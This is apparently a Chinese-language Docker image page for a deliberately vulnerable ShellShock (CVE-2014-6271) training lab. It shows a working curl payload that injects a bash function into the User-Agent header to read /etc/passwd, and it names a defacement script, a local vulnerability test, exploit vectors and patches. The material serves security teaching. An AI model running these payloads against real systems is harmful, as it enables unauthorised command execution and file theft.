vulnerables/cve-2014-6271

ShellShock 漏洞环境（CVE-2014-6271）

镜像概述

ShellShock（又称Bashdoor）是Unix Bash shell中的一系列安全漏洞，首个漏洞于2014年9月24日披露。该镜像提供包含ShellShock漏洞的环境，用于教育场景，帮助用户理解漏洞原理、测试利用方法及学习修复措施。

核心功能

• 提供易受ShellShock漏洞影响的完整环境
• 包含多种漏洞利用示例（如文件读取、网页篡改）
• 提供系统漏洞检测脚本
• 详细说明漏洞利用向量及官方修复方案

使用场景

• 安全研究人员学习ShellShock漏洞的技术细节
• 开发人员了解漏洞防护方法
• 教育机构用于网络安全培训实验

配置说明

运行易受***环境

需先安装Docker，执行以下命令启动环境：

bash
docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271

访问localhost:8080即可进入漏洞环境页面。

漏洞利用示例

读取系统文件

通过curl发送特制请求读取/etc/passwd：

bash
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable

网页篡改测试

使用镜像内的exploit-deface.sh脚本篡改网页：

bash
./exploit-deface.sh localhost 8080

刷新浏览器可见篡改后的页面。

系统漏洞检测

运行以下脚本检测本地系统是否易受ShellShock影响：

bash
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

利用向量

• CGI Web服务器：通过HTTP请求环境变量触发漏洞
• OpenSSH服务器：利用ForceCommand特性和SSH_ORIGINAL_COMMAND变量
• DHCP客户端：***DHCP服务器通过选项注入代码
• Qmail服务器：处理邮件时通过外部输入触发漏洞
• IBM HMC受限Shell：突破受限环境获取完整Bash访问权限

修复方法

Bash维护者发布了多个补丁（如bash43-025至bash43-027）修复漏洞。各主流发行版（Red Hat、Ubuntu、SUSE、Apple OS X等）均提供官方更新包，用户需及时升级系统Bash版本。

免责声明

本程序仅用于教育目的，请勿在未授权系统上使用。作者不对因使用本程序造成的任何损失负责，使用即表示同意承担所有风险。